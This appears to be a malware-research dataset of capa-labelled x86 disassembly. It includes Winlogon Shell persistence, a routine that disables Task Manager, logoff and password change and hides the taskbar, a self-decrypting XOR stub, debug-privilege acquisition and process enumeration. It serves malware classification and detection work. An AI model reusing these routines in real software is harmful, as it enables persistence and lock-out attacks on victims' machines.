joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007fe5
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x1000de34
call fcn.1000db00
push ecx
push esi
push edi
mov esi, ecx
push fcn.1000bbec
push 0x1000bf35
push 5
lea eax, [esi + 0x44]
push 0x14
push eax
mov dword [ebp - 0x10], esi
mov dword [esi], 0x1000e304
call fcn.1000da70
xor edi, edi
lea ecx, [esi + 0xa8]
mov dword [ebp - 4], edi
call fcn.1000bbdc
lea ecx, [esi + 0xb8]
mov byte [ebp - 4], 1
call fcn.1000bc31
push 0x14
lea eax, [esi + 0x30]
push edi
push eax
mov dword [esi], 0x1000e2cc
mov dword [esi + 0x24], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0xcc], edi
mov dword [esi + 0xd8], edi
mov dword [esi + 0xdc], edi
mov dword [esi + 0xe0], edi
mov dword [esi + 0xe4], edi
mov dword [esi + 0xe8], edi
mov dword [esi + 0xf0], edi
mov dword [esi + 0xf4], edi
mov dword [esi + 0xf8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
mov dword [esi + 4], edi
mov dword [esi + 0xfc], edi
mov dword [esi + 0x100], edi
mov dword [esi + 0xec], edi
mov dword [esi + 0x104], edi
mov dword [esi + 8], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x108], edi
mov dword [esi + 0x1c], edi
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp - 0xc]
add esp, 0xc
mov eax, esi
mov dword fs:[0], ecx
pop edi
pop esi
leave
ret

Function at 0x1000b9f2
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jne 0x1000ba00
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0x10]
cmp esi, 8
push edi
not eax
mov edx, 0xff
jl 0x1000baea
mov edi, esi
shr edi, 3
mov ebx, edi
neg ebx
lea esi, [esi + ebx*8]
mov dword [ebp + 0x10], esi
movzx ebx, byte [ecx]
mov esi, eax
and esi, edx
xor esi, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [esi*4 + 0x1000e338]
xor eax, ebx
inc ecx
mov esi, eax
movzx ebx, byte [ecx]
and esi, edx
xor esi, ebx
movzx ebx, byte [ecx + 1]
mov esi, dword [esi*4 + 0x1000e338]
shr eax, 8
xor esi, eax
inc ecx
mov eax, esi
and eax, edx
xor eax, ebx
movzx ebx, byte [ecx + 1]
mov eax, dword [eax*4 + 0x1000e338]
shr esi, 8
xor eax, esi
inc ecx
mov esi, eax
and esi, edx
xor esi, ebx
movzx ebx, byte [ecx + 1]
mov esi, dword [esi*4 + 0x1000e338]
shr eax, 8
xor esi, eax
inc ecx
mov eax, esi
and eax, edx
xor eax, ebx
movzx ebx, byte [ecx + 1]
mov eax, dword [eax*4 + 0x1000e338]
shr esi, 8
xor eax, esi
inc ecx
mov esi, eax
and esi, edx
xor esi, ebx
movzx ebx, byte [ecx + 1]
mov esi, dword [esi*4 + 0x1000e338]
shr eax, 8
xor esi, eax
inc ecx
mov eax, esi
and eax, edx
xor eax, ebx
movzx ebx, byte [ecx + 1]
mov eax, dword [eax*4 + 0x1000e338]
shr esi, 8
xor eax, esi
inc ecx
mov esi, eax
and esi, edx
xor esi, ebx
shr eax, 8
mov esi, dword [esi*4 + 0x1000e338]
xor eax, esi
inc ecx
dec edi
jne 0x1000ba28
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x1000bb07
movzx ebx, byte [ecx]
mov edi, eax
and edi, edx
xor edi, ebx
shr eax, 8
mov edi, dword [edi*4 + 0x1000e338]
xor eax, edi
inc ecx
dec esi
jne 0x1000baee
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
Function at 0x1000c98a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000e768
push 0x1000db2c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 0x1c], 0
and dword [ebp - 4], 0
push 1
pop edi
push edi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000c9f4
mov dword [ebp - 0x20], esi
cmp word [esi], 0x5a4d
jne 0x1000c9f4
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 0x24], eax
cmp dword [eax], 0x4550
jne 0x1000c9f4
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c], edi
jmp 0x1000c9f8
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x403cf0
Capabilities:
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x118
lea ecx, [esp + 4]
push edi
push eax
push str.Explorer.exe__s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 4]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 8]
push ecx
mov ecx, dword [esp + 8]
push eax
push 1
push 0
push str.Shell
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
add esp, 0x118
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40199b
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
xor ecx, ecx
mov dword [ebp - 4], ecx
cld

Function at 0x4015a0
Capabilities:
Terminate process

Disassembly:
call fcn.00401940
jmp fcn.004012d0

Function at 0x4015b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x403008]
jne 0x4015ba
repz ret
jmp fcn.004019f0
Function at 0x401bc0
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, dword [0x4269ec]
push 0
push 0x401a50
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0x65
push esi
call dword [sym.imp.USER32.dll_CreateDialogParamW]
push 8
push eax
mov dword [0x4269f8], eax
call dword [sym.imp.USER32.dll_ShowWindow]
pop esi
ret

Function at 0x401f60
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x424674]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401f96
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409389
mov esp, ebp
pop ebp
ret
push edi
push 0x228
lea eax, [ebp - 0x22c]
push 0
push eax
mov dword [ebp - 0x230], 0x22c
call fcn.0040e0f0
add esp, 0xc
lea ecx, [ebp - 0x230]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40201d
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop
mov ecx, str.shell_exam.exe
lea eax, [ebp - 0x20c]
jmp 0x401fe0
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x402006
test dx, dx
je 0x402002
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x402006
add eax, 4
add ecx, 4
test dx, dx
jne 0x401fe0
xor eax, eax
jmp 0x40200b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402036
lea edx, [ebp - 0x230]
push edx
push esi
call edi
test eax, eax
jne 0x401fd0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409389
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x228]
pop edi
xor ecx, ebp
pop esi
call fcn.00409389
mov esp, ebp
pop ebp
ret
Function at 0x4023a0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x424674]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x18]
push eax
push 0x20
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402558
lea ecx, [ebp - 0x10]
push ecx
push str.SeDebugPrivilege
push esi
mov dword [ebp - 0x14], 1
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x40247d
push str.Cant_lookup_privilege_value._LookupPrivilegeValue__fail_
push ecx
push 0x4200e4
push ecx
push 0x1a0
push ecx
push 0x4200e8
push 0x425608
call fcn.00407c30
add esp, 0xc
push eax
call fcn.00403670
add esp, 4
push eax
call fcn.00407c30
add esp, 0xc
push eax
call fcn.00407c30
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403bf0
mov edx, dword [esi]
mov eax, dword [edx + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x40245d
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x40245d
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x40247d
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x402476
or eax, 4
push 0
call fcn.00401540
mov eax, dword [ebp - 0x18]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
push 0
push eax
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x402531
push str.Cant_adjust_privilege_value._LookupPrivilegeValue__fail_
push ecx
push 0x4200e4
push ecx
push 0x1a5
push ecx
push 0x4200e8
push 0x425608
call fcn.00407c30
add esp, 0xc
push eax
call fcn.00403670
add esp, 4
push eax
call fcn.00407c30
add esp, 0xc
push eax
call fcn.00407c30
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00403bf0
mov ecx, dword [esi]
mov eax, dword [ecx + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x402511
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x402511
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x402531
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x40252a
or eax, 4
push 0
call fcn.00401540
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 0x18]
neg eax
push edx
sbb esi, esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esi + 1]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409389
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00409389
mov esp, ebp
pop ebp
ret
Function at 0x403140
Capabilities:
Disable system features via registry on windows
Find taskbar
Hide graphical window
Hide the windows taskbar
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
push ebx
push ecx
push str.DisableSystemKey_start___
push ecx
push 0x4200e4
push ecx
push 0x283
push ecx
push 0x4200e8
push 0x425608
call fcn.00407c30
add esp, 0xc
push eax
call fcn.00403670
add esp, 4
push eax
call fcn.00407c30
add esp, 0xc
push eax
call fcn.00407c30
add esp, 0xc
push eax
call fcn.004034a0
mov esi, dword [sym.imp.USER32.dll_FindWindowW]
push 0
push str.Shell_TrayWnd
call esi
push 0
push str.Button
mov edi, eax
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem_
push 0x80000001
call esi
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer_
push 0x80000001
call esi
xor ecx, ecx
test bl, bl
setne cl
xor edx, edx
test bl, bl
setne dl
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], ecx
lea esi, [edx - 1]
and esi, 5
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
call edi
mov eax, dword [ebp - 0x14]
push esi
push eax
call edi
push 4
lea ecx, [ebp - 4]
push ecx
push 4
mov edx, dword [ebp - 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0
push str.DisableTaskmgr
push edx
call esi
mov ecx, dword [ebp - 0xc]
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0
push str.DisableLockWorkstation
push ecx
call esi
mov eax, dword [ebp - 0xc]
push 4
lea edx, [ebp - 4]
push edx
push 4
push 0
push str.DisableChangePassword
push eax
call esi
mov edx, dword [ebp - 0xc]
push 4
lea ecx, [ebp - 4]
push ecx
push 4
push 0
push str.DisableSwitchUserOption
push edx
call esi
mov ecx, dword [ebp - 8]
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0
push str.NoChangeStartMenu
push ecx
call esi
mov eax, dword [ebp - 8]
push 4
lea edx, [ebp - 4]
push edx
push 4
push 0
push str.NoClose
push eax
call esi
mov edx, dword [ebp - 8]
push 4
lea ecx, [ebp - 4]
push ecx
push 4
push 0
push str.NoLogOff
push edx
call esi
mov ecx, dword [ebp - 8]
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0
push str.NoRun
push ecx
call esi
mov eax, dword [ebp - 8]
push 4
lea edx, [ebp - 4]
push edx
push 4
push 0
push str.NoSetFolders
push eax
call esi
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 1
push 0x61
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0
push 0x1000
push 0x8000000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push ebx
push ecx
push str.DisableSystemKey_end___
push ecx
push 0x4200e4
push ecx
push 0x29f
push ecx
push 0x4200e8
push 0x425608
call fcn.00407c30
add esp, 0xc
push eax
call fcn.00403670
add esp, 4
push eax
call fcn.00407c30
add esp, 0xc
push eax
call fcn.00407c30
add esp, 0xc
push eax
call fcn.004034a0
xor eax, eax
cmp dword [ebp - 0x18], eax
pop edi
sete al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4053c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c578
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x424674]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x405551
cmp byte [ebx + 0x49], 0
je 0x405551
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x405545
lea esi, [ebp - 0x2c]
call fcn.00404d90
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x405433
lea edx, [ebp - 0x2c]
mov eax, edx
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
mov edi, dword [ebp - 0x1c]
add edi, edx
push edi
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x40546c
dec eax
je 0x405470
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x40554c
call fcn.004033b0
xor al, al
jmp 0x405553
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x405480
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x4054ad
cmp edi, 0x10
jae 0x40548f
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.0040b31c
add esp, 0x10
cmp esi, eax
jne 0x40553d
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x405549
test esi, esi
jne 0x405427
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x40556e
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x40556e
cmp edi, esi
jae 0x405526
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.004073f0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x405427
mov ecx, eax
cmp edi, 0x10
jae 0x405502
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40551d
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x405421
test esi, esi
jne 0x4054f8
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x405535
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x405421
lea ecx, [ebp - 0x2c]
call fcn.004033b0
xor al, al
jmp 0x405553
lea ecx, [ebp - 0x2c]
call fcn.004033b0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409389
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.004090c4
int3
Function at 0x4063e0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c30b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x424674]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040917f
push 4
mov dword [ebp - 4], 0
call fcn.00409a6e
mov edi, eax
add esp, 4
test edi, edi
je 0x40645c
call fcn.00408bd2
mov dword [edi], eax
call fcn.00408991
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.004088c6
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x406452
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.004088ee
jmp 0x40645e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409389
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424674]
jne 0x409393
repz ret
jmp fcn.0040de71
Function at 0x417556
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x424674]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040e761
and dword [ebp - 0x14], 0
cmp dword [0x4269c8], 0
mov dword [ebp - 0x18], eax
jne 0x417609
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4176b1
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4176b1
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4269c8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4269cc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4269d0], eax
call edi
push eax
call esi
mov dword [0x4269d8], eax
test eax, eax
je 0x417609
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4269d4], eax
mov eax, dword [0x4269d4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x417662
cmp dword [0x4269d8], ecx
je 0x417662
push eax
call esi
push dword [0x4269d8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x417662
test ebx, ebx
je 0x417662
call edi
test eax, eax
je 0x417659
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x417659
test byte [ebp - 8], 1
jne 0x417662
or dword [ebp + 0x10], 0x200000
jmp 0x417695
mov eax, dword [0x4269cc]
cmp eax, dword [ebp - 0x18]
je 0x417695
push eax
call esi
test eax, eax
je 0x417695
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x417695
mov eax, dword [0x4269d0]
cmp eax, dword [ebp - 0x18]
je 0x417695
push eax
call esi
test eax, eax
je 0x417695
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4269c8]
call esi
test eax, eax
je 0x4176b1
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4176b3
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409389
leave
ret
Function at 0x4013c0
Capabilities:
Hide graphical window

Disassembly:
sub esp, 0x100
push edi
push 0x12c
push 0x17a
push esi
push esi
mov dword [eax + 0xc], 0
call dword [sym.imp.USER32.dll_GetParent]
push eax
call fcn.00446450
mov ecx, dword [0x4aa7bc]
mov edx, dword [ecx + 0x65c]
push 0x17
push 0x4b
push 0x107
push 0xd2
push edx
push 1
push 1
push 0x2711
push esi
call fcn.00445350
mov eax, dword [0x4aa7bc]
mov ecx, dword [eax + 0x10]
push 0x17
push 0x4b
push 0x107
push 0x123
push ecx
push 1
push 1
push 1
push esi
call fcn.00445350
add esp, 0x58
push 1
push esi
call fcn.00445430
mov eax, dword [0x4aa7bc]
mov edx, dword [eax]
mov eax, dword [eax + 0x14]
push edx
push eax
lea ecx, [esp + 0x14]
push 0x100
push ecx
call fcn.0044e7a0
lea edx, [esp + 0x1c]
push edx
push esi
call fcn.00445470
mov eax, dword [0x4aa7bc]
mov ecx, dword [eax]
push 0x10
push 0x13e
push 0x6d
push 0x36
push 0
push 0
push 0
push 0
push ecx
push 0x2712
push esi
call fcn.004454f0
mov edi, dword [sym.imp.USER32.dll_SendDlgItemMessageW]
add esp, 0x4c
push 0
push 1
push 0xcf
push 0x2712
push esi
call edi
mov edx, dword [0x4aa7bc]
mov eax, dword [edx + 4]
push str.1.2.1.442a
push eax
lea ecx, [esp + 0xc]
push 0x100
push ecx
call fcn.0044e7a0
push 0x10
push 0x13e
push 0x81
push 0x36
push 0
push 0
push 0
push 0
lea edx, [esp + 0x34]
push edx
push 0x2713
push esi
call fcn.004454f0
add esp, 0x3c
push 0
push 1
push 0xcf
push 0x2713
push esi
call edi
mov eax, dword [0x4aa7bc]
mov ecx, dword [eax + 8]
push 0x10
push 0x13e
push 0x95
push 0x36
push 0
push 0
push 0
push 0
push ecx
push 0x2714
push esi
call fcn.004454f0
add esp, 0x2c
push 0
push 1
push 0xcf
push 0x2714
push esi
call edi
push 5
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x2711
push esi
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
pop edi
add esp, 0x100
ret

Function at 0x401570
Capabilities:
Hide graphical window

Disassembly:
sub esp, 0x100
push ebx
push edi
push 0
push 0x32
push 1
push esi
mov dword [eax + 4], 0xff
mov dword [eax + 0x10], 1
mov dword [eax], 0
mov dword [eax + 8], 0
call dword [sym.imp.USER32.dll_SetTimer]
mov eax, dword [0x4aa7bc]
mov ecx, dword [eax]
mov edx, dword [eax + 0x14]
push ecx
push edx
lea eax, [esp + 0x10]
push 0x100
push eax
call fcn.0044e7a0
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
add esp, 0x10
lea ecx, [esp + 8]
push ecx
push 0x2711
push esi
call edi
push eax
call fcn.00445470
add esp, 8
push 0x17
push 0x87
push 0x107
push 0x96
push 0x2711
push esi
call edi
push eax
call fcn.004454c0
add esp, 0x14
push 0
push 0x2712
push esi
call edi
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push eax
call ebx
push 0
push 0x2713
push esi
call edi
push eax
call ebx
push 0
push 0x2714
push esi
call edi
push eax
call ebx
pop edi
pop ebx
add esp, 0x100
ret